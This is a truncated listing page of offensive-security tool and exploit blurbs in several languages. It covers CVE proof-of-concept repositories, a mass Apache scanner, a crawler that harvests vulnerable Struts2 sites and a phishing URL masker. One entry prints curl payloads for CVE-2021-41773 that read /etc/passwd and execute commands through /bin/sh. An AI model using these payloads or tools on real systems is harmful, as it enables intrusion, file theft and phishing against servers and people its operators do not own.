wordlist_generator

wordlistgenerator Tool wordlistgenerator generates unique to your target wordlist with techniques mentioned in tomnomnom's video "Who, What, Where, When". It takes URLs from gau to extract directories, file names or words on pages. As additional feature it can extract HTML comments. By default to...

CVE-2021-41773

CVE-2021-41773 Uso root@kitploit: docker-compose up -d --build vuln-server-no-cgid python no-cgid/exploit.py root@kitploit: docker-compose up -d --build vuln-server-cgid-sh python cgid-sh/exploit.py ¿Qué es CVE-2021-41773? CVE-2021-41773 Vulnerabilidad de directory traversal en Apache HTTP Server...

CVE-2021-41773

Exploit PoC de CVE-2021-41773 con configuración Docker. Navega al directorio que contiene la configuración de Apache y el Dockerfile compartido en el repositorio. Construyendo la imagen: docker build -t cve-2021-41773:1.0 . Ejecutando la imagen Docker: docker run --rm -d -p 4444:80...

S2-Reaper

S2-Reaper Este proyecto se utiliza para recolectar URLs vulnerables afectadas por Struts2 S2-045 de los resultados de búsqueda de Google. Uso root@kitploit: python reaper.py Acerca de El reaper.py ejecutará un rastreador de búsqueda de Google con palabras clave definidas en crawler.conf para...

Apkatshu

Apkatshu Apkatshu its a Tool for extracting urls , emails , ip address , and interesting data from APK files root@kitploit: Apkatshu : tool written in bash/python for extracting urls, emails, ip addresses, and interesting data from APK files. The user can choose either JADX or APKTOOL for...

clickjacking-poc

Herramienta de PoC para Clickjacking Una herramienta básica para generar pruebas de concepto de clickjacking basadas en una URL determinada. Compilación La compilación debería ser sencilla... root@kitploit: $ go get $ go build Uso Uso básico: clickjacking-poc -u https://example.com La herramienta...

IOCScraper

IOC Scraper IOC Scraper utilises IOCPARSER service to fetch IOCs from different vendor Blogs, PDFs, and CSV files. Parsing IOCs is time-consuming process, using current script one can automatically extract and aggregate IOCs easily. Features Defanged IOCs : Supports extracting and defanging IOCs...

Scannerweb

Scannerweb Vulnerability Scanner written in python3, It Fuzzes All URLs of target website & then scan them for scanner web Screeenshot Navigate to the /opt directory optional root@kitploit: cd /opt/ Clone this repository root@kitploit: git clone https://github.com/Khalidhusain786/Scannerweb.git...

CVE-2023-24488

CVE-2023-24488 PoC para CVE-2023-24488 Citrix Gateway Open Redirect y XSS CVE-2023-24488 Los parámetros de consulta de URL no se sanitizan adecuadamente antes de ser colocados en un encabezado HTTP Location. Un atacante puede explotar esto para crear un enlace que, al hacer clic, redirija a la...

cve-2021-41773

cve-2021-41773 Vulnerabilidad de Path Traversal CVE-2021-41773 en Apache 2.4.49. RCE POC PoC Payload curl -s --path-as-is ":PORT/icons/.%2e/%2e%2e/%2e%2e/%2e%2e/etc/passwd curl -s --path-as-is --data "echo;Command" "IP:PORT/cgi-bin/.%2e/%2e%2e/%2e%2e/bin/sh Síguenos Vulnmachines...

CVE-2022-24853

CVE-2022-24853 Ataque de reflexión / relay NTLM en Metabase CVE-2022-24853 Entrada de blog sobre el hallazgo: https://secure77.de/metabase-ntlm-relay-attack/ Aviso de seguridad de GitHub: https://github.com/metabase/metabase/security/advisories/GHSA-5cfq-582c-c38m POC root@kitploit:...

SPY-MASKER

SPY-MASKER 🔥 SPY-MASKER It is a simple Python Script to hide phishing URL under a normal looking URL google.com or facebook.com. It can be integrated into Phishing tools to look the URL legit. ⚖️ Legal Disclaimer: FOR EDUCATIONAL PURPOSES ONLY Usage of SPY-MASKER for attacking targets without prio...

CVE-2024-56331

CVE-2024-56331 Uptime-Kuma : Inclusión de Archivos Locales LFI mediante Manejo Incorrecto de URL en el monitor Real-Browser Resumen Una Vulnerabilidad de Manejo Incorrecto de URL permite a un atacante acceder a archivos locales sensibles en el servidor explotando el protocolo file:///. Esta...

Deathnote

Deathnote Prueba de concepto de CVE-2022-30190 Existe una vulnerabilidad de ejecución remota de código cuando se llama a MSDT mediante el protocolo URL desde una aplicación que lo invoca, como Word. Un atacante que explote esta vulnerabilidad con éxito puede ejecutar código arbitrario con los...

CVE-2021-37580

CVE-2021-37580 CVE-2021-37580 Ayuda python CVE-2021-37580.py http://1.1.13.1...

CVE-2017-10271

CVE-2017-10271 Uso: python CVE-2017-10271.py url...

CVE-2022-41828

CVE-2022-41828 Controlador JDBC de Amazon AWS Redshift - Ejecución remota de código RCE El controlador JDBC de Amazon para Redshift es un controlador JDBC tipo 4 que proporciona conectividad a bases de datos a través de las interfaces de programación de aplicaciones API JDBC estándar disponibles ...

mass_cve-2021-41773

masscve-2021-41773 MASS CVE-2021-41773 Captura de pantalla Uso ! python3 -m pip install requests pyyhon3 cve-2021-41773.py urlist.txt pool Nota ! los resultados se guardarán automáticamente en vuln.txt puedes agregar un directorio común en...

CVE-2023-4294

CVE ID : CVE-2023-4294 Vulnerability Type : Cross-Site Scripting Description : The URL Shortify plugin for WordPress is vulnerable to Stored Cross-Site Scripting via the referrer header in versions up to, and including, 1.7.5 due to insufficient input sanitization and output escaping. This makes ...

wordlistgen

wordlistgen 是什么以及为什么？ wordlistgen 是一个工具，用于传入 URL 列表并返回词列表，以便用于构建自定义词库。当结合应用程序上下文时，词库会更加有效。wordlistgen 提取 URL 的组成部分，例如子域名、路径、查询字符串等，并将其输出到标准输出，方便你添加到词库中。 安装 如果你没有安装 Go，快去“go”安装吧！ go get -u github.com/ameenmaali/wordlistgen 用法 wordlistgen 从标准输入读取 URL 和路径，通常你会将这些 URL 和路径保存在文件中，比如： root@kitploit: $ c...